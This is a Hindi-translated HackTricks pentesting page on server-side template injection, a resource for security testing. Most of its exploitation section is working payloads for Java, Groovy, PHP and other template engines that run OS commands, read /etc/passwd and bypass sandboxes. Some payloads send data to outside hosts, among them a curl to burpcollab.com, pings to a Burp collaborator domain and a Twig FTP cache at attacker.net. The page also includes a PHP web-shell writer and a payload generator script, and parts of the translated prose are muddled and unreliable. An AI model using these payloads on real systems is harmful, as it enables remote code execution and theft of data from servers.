hacktricks/pentesting-web/ssti-server-side-template-injection
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00
..
el-expression-language.md Translated to Hindi 2023-11-06 08:38:02 +00:00
jinja2-ssti.md Translated to Hindi 2023-11-06 08:38:02 +00:00
README.md Translated to Hindi 2023-11-06 08:38:02 +00:00

SSTI (सर्वर साइड टेम्पलेट इंजेक्शन)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थल है।

{% embed url="https://www.rootedcon.com/" %}

सर्वर साइड टेम्पलेट इंजेक्शन क्या है?

सर्वर साइड टेम्पलेट इंजेक्शन होता है जब एक हमलावर्धक एक दुष्प्रभावी पेलोड को टेम्पलेट में इंजेक्ट करने के लिए मूल टेम्पलेट सिंटेक्स का उपयोग कर सकता है, जो फिर सर्वर-साइड पर निष्पादित किया जाता है।

टेम्पलेट इंजन वेब पृष्ठों को निर्मित करने के लिए डिज़ाइन किए गए हैं, जो स्थिर टेम्पलेट को अस्थायी डेटा के साथ मिलाकर बनाते हैं। सर्वर साइड टेम्पलेट इंजेक्शन हमलावर्धक हो सकता है जब उपयोगकर्ता इनपुट सीधे टेम्पलेट में जोड़ा जाता है, बल्कि डेटा के रूप में पास किया जाता है। इससे हमलावर्धकों को अनियंत्रित टेम्पलेट निर्देशिकाओं को इंजेक्ट करने की अनुमति मिलती है, जिससे उन्हें सर्वर के पूर्ण नियंत्रण को प्राप्त करने में सक्षम होते हैं।

एक उदाहरण देखें जो असुरक्षित कोड का है:

$output = $twig->render("Dear " . $_GET['name']);

पिछले उदाहरण में टेम्पलेट का हिस्सा स्वयं को डाइनेमिक रूप से उत्पन्न किया जा रहा है, GET पैरामीटर नाम का उपयोग करके। टेम्पलेट सिंटैक्स सर्वर-साइड पर मूल्यांकन किया जाता है, जिससे किसी हमलावर्धी को नाम पैरामीटर में सर्वर-साइड टेम्पलेट इंजेक्शन पेलोड रखने की संभावना होती है, जैसे निम्नलिखित:

http://vulnerable-website.com/?name={{bad-stuff-here}}

सर्वर-साइड टेम्पलेट इंजेक्शन हमला निर्माण करना

पता लगाना

किसी भी सुरक्षा दुरुपयोग के साथ, उसे खोजने की पहली कदम है। शायद सबसे सरल प्रारंभिक दृष्टिकोण है टेम्पलेट में इंजेक्शन करके टेम्पलेट व्यक्तियों में आमतौर पर उपयोग होने वाले विशेष वर्णों के एक अनुक्रम का प्रयास करना, जैसे कि पॉलिग्लॉट ${{<%[%'"}}%\
सर्वर के विकल्पों के बीच का अंतर देखने के लिए आपको यह जांचने के लिए चाहिए कि क्या सर्वर प्रभावित हो रहा है या नहीं।
यदि कोई त्रुटि उठाई जाती है, तो यह आसानी से समझना होगा कि सर्वर प्रभावित है और यहां तक कि कौन सा इंजन चल रहा है। लेकिन यदि आप उम्मीद कर रहे थे कि सर्वर दिए गए प्रभाव को प्रतिबिंबित करेगा और यह प्रतिबिंबित नहीं हो रहा है या यदि प्रतिक्रिया में कुछ गायब वर्ण हैं, तो आप एक संकटग्रस्त सर्वर भी खोज सकते हैं।

पता लगाना - सादा पाठ संदर्भ

दिए गए इनपुट को प्रतिबिंबित किया जा रहा है और प्रतिक्रिया में प्रतिबिंबित हो रहा है। यह आसानी से एक साधारित XSS सुरक्षा दुरुपयोग के लिए गलती से गलती समझा जा सकता है, लेकिन यह अंतर करना आसान है यदि आप टेम्पलेट व्यक्ति के भीतर गणितीय प्रक्रियाओं को सेट करने का प्रयास करते हैं:

{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
*{7*7}

पता लगाएं - कोड संदर्भ

इन मामलों में उपयोगकर्ता इनपुट को एक टेम्पलेट अभिव्यक्ति के भीतर रखा जा रहा है:

engine.render("Hello {{"+greeting+"}}", data)

उस पृष्ठ का URL ऐसा हो सकता है: http://vulnerable-website.com/?greeting=data.username

यदि आप greeting पैरामीटर को अलग मान में बदलते हैं, तो प्रतिक्रिया में उपयोगकर्ता नाम शामिल नहीं होगा, लेकिन यदि आप कुछ इस प्रकार का एक्सेस करते हैं: http://vulnerable-website.com/?greeting=data.username}}hello तो, प्रतिक्रिया में उपयोगकर्ता नाम शामिल होगा (यदि समाप्ति टेम्पलेट व्यक्ति वर्ण }} होंगे)।
यदि इन परीक्षणों के दौरान कोई त्रुटि उठाई जाती है, तो सर्वर की सुरक्षा भंग होने का पता लगाना आसान होगा।

पहचान

जब आप टेम्पलेट इंजेक्शन की संभावना का पता लगा लेते हैं, तो अगला कदम टेम्पलेट इंजन की पहचान करना है।
हालांकि, बहुत सारे टेम्पलेटिंग भाषाएं होती हैं, जिनमें से कई ऐसी संकेत संख्या का उपयोग करती हैं जो HTML वर्णों के साथ टकराने से बचने के लिए विशेष रूप से चुनी जाती हैं।

यदि आप भाग्यशाली हैं तो सर्वर त्रुटियों को मुद्रित कर रहा होगा और आप त्रुटियों के भीतर इस्तेमाल किए जाने वाले इंजन को खोज सकेंगे। कुछ संभावित पेलोड्स जो त्रुटियां पैदा कर सकते हैं:

${} {{}} <%= %>
${7/0} {{7/0}} <%= 7/0 %>
${foobar} {{foobar}} <%= foobar %>
${7*7} {{7*7}} ``

अन्यथा, आपको मैन्युअल रूप से विभिन्न भाषा-विशिष्ट पेलोड का परीक्षण करने की आवश्यकता होगी और यह देखना होगा कि टेम्पलेट इंजन द्वारा उनका व्याख्यान कैसे किया जाता है। इसका एक सामान्य तरीका यह है कि आप विभिन्न टेम्पलेट इंजन के सिंटैक्स का उपयोग करके अनिवार्य गणितीय परिचयों को इंजेक्ट करें। फिर आप देख सकते हैं कि क्या वे सफलतापूर्वक मूल्यांकन किए जाते हैं। इस प्रक्रिया में सहायता के लिए, आप निम्नलिखित निर्णय पेड़ का उपयोग कर सकते हैं:

शोषण

पढ़ें

टेम्पलेट इंजेक्शन का पता लगाने और टेम्पलेट इंजन की पहचान करने के बाद पहला कदम है दस्तावेज़ीकरण पढ़ना। रुचि के क्षेत्रों में शामिल हैं:

  • मूल सिंटैक्स को कवर करने वाले 'टेम्पलेट लेखकों के लिए' खंड।
  • 'सुरक्षा संबंधी विचारों' - आपकी जांच कर रहे ऐप का विकास करने वाला व्यक्ति इसे पढ़ने वाला नहीं था, और यह कुछ उपयोगी संकेत शामिल कर सकता है।
  • बिल्टइन विधियों, फ़ंक्शन, फ़िल्टर और चरों की सूचियाँ।
  • एक्सटेंशन/प्लगइन की सूचियाँ - कुछ डिफ़ॉल्ट रूप से सक्षम हो सकते हैं।

खोजें

यदि कोई शोषण प्रस्ताव नहीं है, तो अगला कदम है पर्यावरण की खोज करना और जानना कि आपके पास क्या उपयोगकर्ता को पहुंच है। आपको उम्मीद है कि आपको टेम्पलेट इंजन द्वारा प्रदान किए गए डिफ़ॉल्ट ऑब्जेक्ट्स और विकासक द्वारा टेम्पलेट में पास किए गए एप्लिकेशन-विशिष्ट ऑब्जेक्ट्स दोनों मिलेंगे। बहुत सारे टेम्पलेट सिस्टम एक 'सेल्फ' या नेमस्पेस ऑब्जेक्ट प्रदान करते हैं जिसमें स्कोप में सब कुछ होता है, और एक ऑब्जेक्ट के आवंटन के विशेष तरीके को सूचीबद्ध करने का एक आदर्श तरीका होता है।

यदि कोई बिल्टइन सेल्फ ऑब्जेक्ट नहीं है, तो आपको SecLists और Burp Intruder के वर्डलिस्ट संग्रह का उपयोग करके चर नामों को ब्रूटफ़ोर्स करने की आवश्यकता होगी।

विकासक द्वारा प्रदान किए गए ऑब्जेक्ट्स विशेष रूप से संवेदनशील जानकारी को समेट सकते हैं, और एक एप्लिकेशन के भिन्न टेम्पलेट में भिन्न हो सकते हैं, इसलिए यह प्रक्रिया प्रत्येक अलग टेम्पलेट पर लागू की जानी चाहिए।

हमला

इस बिंदु पर आपको अपने पास उपलब्ध हमला सतह की एक दृढ़ विचार होना चाहिए और पारंपरिक सुरक्षा मूल्यांकन तकनीकों के साथ आगे बढ़ने के लिए सक्षम होना चाहिए, प्रत्येक फ़ंक्शन को जांचें और उचित रूप से उपयोग करने योग्य कमजोरियों की समीक्षा करें। इसे व्यापक अनुप्रयोग के संदर्भ में देखना महत्वपूर्ण है - कुछ फ़ंक्शन अनुप्रयोग-विशिष्ट सुविधाओं का उपयोग करने के लिए उपयो

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

अपशिष्ट

सामान्य

इस शब्दसूची में आप कुछ इंजनों के पर्यावरण में परिभाषित चरों को ढूंढ सकते हैं:

जावा

जावा - मूल अवरोधन

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - सिस्टम के पर्यावरण चरों को प्राप्त करें

To retrieve the system's environment variables in Java, you can use the System.getenv() method. This method returns a Map object containing all the environment variables and their corresponding values.

Here is an example code snippet:

import java.util.Map;

public class EnvironmentVariables {
    public static void main(String[] args) {
        Map<String, String> env = System.getenv();
        for (String key : env.keySet()) {
            String value = env.get(key);
            System.out.println(key + " = " + value);
        }
    }
}

This code will print out all the environment variables and their values. You can customize the code to suit your specific needs, such as filtering or manipulating the environment variables data.

Note: It is important to handle the retrieved environment variables with caution, as they may contain sensitive information that could be exploited by attackers.

${T(java.lang.System).getenv()}

Java - /etc/passwd प्राप्त करें

यह तकनीक Server-Side Template Injection (SSTI) का उपयोग करके Java एप्लिकेशन में /etc/passwd फ़ाइल को प्राप्त करने के लिए है। यह तकनीक उन जगहों पर काम करती है जहां एक टेम्पलेट इंजेक्शन विधि के द्वारा टेम्पलेट इंजेक्शन हो सकता है।

यहां एक उदाहरण है कि कैसे आप इस तकनीक का उपयोग करके /etc/passwd फ़ाइल को प्राप्त कर सकते हैं:

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Main {
    public static void main(String[] args) throws Exception {
        String command = "cat /etc/passwd";
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
        String line;
        while ((line = reader.readLine()) != null) {
            System.out.println(line);
        }
        reader.close();
    }
}

इस कोड के द्वारा, हम एक नया प्रक्रिया शुरू करते हैं और उसे /etc/passwd फ़ाइल को पढ़ने के लिए आवंटित करते हैं। फ़ाइल की सामग्री को पढ़ने के लिए हम BufferedReader का उपयोग करते हैं और उसे प्रिंट करते हैं।

ध्यान दें कि यह तकनीक केवल उद्देश्यों के लिए है और किसी भी अनधिकृत गतिविधि के लिए उपयोग नहीं की जानी चाहिए।

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (जावा)

आप अपने पेलोड को https://try.freemarker.apache.org पर आजमा सकते हैं।

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (पुराना)
  • ${7*'7'} कुछ नहीं
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - सैंडबॉक्स बाईपास

⚠️ केवल Freemarker संस्करण 2.3.30 से पहले काम करेगा

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

अधिक जानकारी

Thymeleaf (जावा)

SSTI के लिए प्रायः परीक्षण अभिव्यक्ति ${7*7} है। यह अभिव्यक्ति Thymeleaf में भी काम करती है। यदि आप दूरस्थ कोड निष्पादन प्राप्त करना चाहते हैं, तो आप निम्नलिखित परीक्षण अभिव्यक्तियों में से एक का उपयोग कर सकते हैं:

  • SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

हालांकि, जैसा कि हमने पहले कहा था, अभिव्यक्तियाँ केवल विशेष Thymeleaf विशेषताओं में काम करती हैं। यदि आपको टेम्पलेट में एक अभिव्यक्ति का उपयोग करना आवश्यक है जो टेम्पलेट के अलग स्थान पर हो, तो Thymeleaf अभिव्यक्ति समान्यीकरण का समर्थन करता है। इस सुविधा का उपयोग करने के लिए, आपको [[...]] या [(...)] के भीतर एक अभिव्यक्ति रखनी होगी (विशेष प्रतीकों को छोड़ने की आवश्यकता होने पर एक का चयन करें)। इसलिए, Thymeleaf के लिए एक साधारण SSTI पहचान पेलोड [[${7*7}]] होगा।

हालांकि, उपरोक्त पहचान पेलोड काम करने की संभावना बहुत कम होती है। SSTI संरचनाओं का उपयोग आमतौर पर कोड में डाइनामिक रूप से उत्पन्न टेम्पलेट के साथ होता है। Thymeleaf, डिफ़ॉल्ट रूप से, ऐसे डाइनामिक रूप से उत्पन्न टेम्पलेट की अनुमति नहीं देता है और सभी टेम्पलेट पहले से बनाए जाने चाहिए। इसलिए, यदि एक डेवलपर किसी स्ट्रिंग से टेम्पलेट बनाना चाहता है, तो उन्हें अपना खुद का TemplateResolver बनाने की आवश्यकता होगी। यह संभव है, लेकिन यह बहुत ही कम होता है।

यदि हम Thymeleaf टेम्पलेट इंजन के दस्तावेज़ीकरण में गहराई से देखें, तो हमें अभिव्यक्ति पूर्वसंस्करण की एक दिलचस्प सुविधा मिलेगी। डबल अंडरस्कोर (__...__) के बीच रखे गए अभिव्यक्तियाँ पूर्वसंस्कृत की जाती हैं और सामान्य प्रसंस्करण के दौरान अभिव्यक्ति का हिस्सा के रूप में उपयोग किया जाता है। यहां थाइमलीफ़ दस्तावेज़ीकरण से एक आधिकारिक उदाहरण है:

#{selection.__${sel.code}__}

भेद्य उदाहरण

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

स्प्रिंग फ्रेमवर्क (जावा)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

फ़िल्टर द्वारा छल करें

यदि ${...} काम नहीं करता है तो #{...}, *{...}, @{...} या ~{...} का प्रयोग करें।

  • /etc/passwd पढ़ें
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • पेलोड उत्पन्न करने के लिए कस्टम स्क्रिप्ट
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

स्प्रिंग व्यू मानिपुलेशन (जावा)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ कुछस्ट्रिंग.toUPPERCASE() }}

पुराना संस्करण Pebble ( < संस्करण 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

नई संस्करण का पेबल:

{% raw %}
{% set cmd = 'id' %}
{% endraw %}


{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (जावा)

Jinjava एक जावा आधारित सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) टेक्निक है, जो जावा प्रोग्रामिंग भाषा का उपयोग करता है। यह टेम्पलेट इंजेक्शन के लिए एक शक्तिशाली और लोकप्रिय विकल्प है, जो वेब एप्लिकेशनों में उपयोग होता है। Jinjava का उपयोग टेम्पलेट में डायनामिक डेटा को प्रदर्शित करने के लिए किया जाता है।

जब एक वेब एप्लिकेशन Jinjava का उपयोग करता है और उपयोगकर्ता द्वारा निर्धारित टेम्पलेट में अद्यतित करने की अनुमति देता है, तो एक हमलावर एक्सप्रेशन के रूप में निर्दिष्ट कोड को निष्पादित कर सकता है। इसके परिणामस्वरूप, एक हमलावर अधिकार प्राप्त कर सकता है, डेटाबेस तक पहुंच सकता है, और अन्य नुकसान पहुंचा सकता है।

जिनजावा के एक उदाहरण के रूप में, यदि एक वेब एप्लिकेशन उपयोगकर्ता को उनके नाम के आधार पर स्वागत करता है, तो एक हमलावर निम्नलिखित कोड का उपयोग करके एक अद्यतित टेम्पलेट द्वारा निर्धारित किया जा सकता है:

{{ user.name }}

इसके परिणामस्वरूप, एक हमलावर उपयोगकर्ता के नाम के स्थान पर कोड को निष्पादित कर सकता है, जिससे उन्हें अनचाहे डेटा तक पहुंच मिल सकती है।

इसलिए, जब एक वेब एप्लिकेशन में Jinjava का उपयोग होता है, तो सुनिश्चित करें कि उपयोगकर्ता द्वारा निर्धारित टेम्पलेटों को सुरक्षित रूप से प्रोसेस किया जाता है और कोड की निष्पादन की अनुमति नहीं दी जाती है।

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava एक ओपन सोर्स परियोजना है जिसे Hubspot ने विकसित किया है, जो https://github.com/HubSpot/jinjava/ पर उपलब्ध है।

Jinjava - कमांड निष्पादन

https://github.com/HubSpot/jinjava/pull/230 द्वारा ठीक किया गया।

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (जावा)

  • {% %} बयान अलगकरण
  • {{ }} अभिव्यक्ति अलगकरण
  • {# #} टिप्पणी अलगकरण
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोज की और Github पर Jinjava प्रोजेक्ट की खोज की।

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the







{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

एक्सप्रेशन भाषा - EL (जावा)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

EL, जैसे कि JavaServer Faces तकनीक, JavaServer Pages (JSP) तकनीक, और Contexts and Dependency Injection for Java EE (CDI) जैसी कई JavaEE तकनीकों द्वारा उपयोग होने वाली एक महत्वपूर्ण तंत्र है।
EL का उपयोग EL इंटरप्रिटर्स के शोषण के बारे में और अधिक जानने के लिए निम्नलिखित पृष्ठ की जांच करें:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

ग्रूवी (जावा)

यह सुरक्षा प्रबंधक बाईपास इस लेख से लिया गया है।

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थान है।

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = त्रुटि
  • {{foobar}} कुछ नहीं
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}

Twig - टेम्पलेट प्रारूप

Twig एक शक्तिशाली और सुरक्षित टेम्पलेट इंजन है जिसे PHP में उपयोग किया जाता है। यह एक अलगाववादी टेम्पलेट भाषा है जो वेब ऐप्लिकेशन में डाटा को प्रदर्शित करने के लिए उपयोग की जाती है। Twig टेम्पलेट फ़ाइलें .twig नामक एक्सटेंशन के साथ संग्रहीत की जाती हैं।

टेम्पलेट फ़ाइल में Twig कोड को ब्लॉकों में लिखा जाता है, जिन्हें {{ }} और {% %} द्वारा चिह्नित किया जाता है। {{ }} चिह्नों के बीच में व्यक्तिगत डेटा दिखाने के लिए उपयोग किया जाता है, जबकि {% %} चिह्नों के बीच में लॉजिकल व्यवहार और नियम लिखे जाते हैं। Twig में विभिन्न फ़ंक्शन, फ़िल्टर और वेरिएबल्स भी उपलब्ध होते हैं जो टेम्पलेट में व्यवस्थित डेटा को प्रोसेस करने के लिए उपयोग किए जा सकते हैं।

Twig टेम्पलेट इंजन का उपयोग करके, आप वेब ऐप्लिकेशन में सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) हमलों को खोजने और उन्हें शामिल करने के लिए अपनी पेंटेस्टिंग कौशल को बढ़ा सकते हैं। SSTI हमलों के द्वारा, आप टेम्पलेट में अद्यतित कोड चला सकते हैं और अनुरोधकर्ता के द्वारा निर्धारित डेटा को लीक कर सकते हैं। इसलिए, टेम्पलेट फ़ाइलों में Twig कोड की सुरक्षा को सुनिश्चित करना महत्वपूर्ण होता है।

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates, Twig से प्रेरित है, लेकिन यह एक कंपाइल टेम्पलेट इंजन की बजाय एक मूल PHP टेम्पलेट इंजन है।

नियंत्रक:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पृष्ठ टेम्पलेट:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
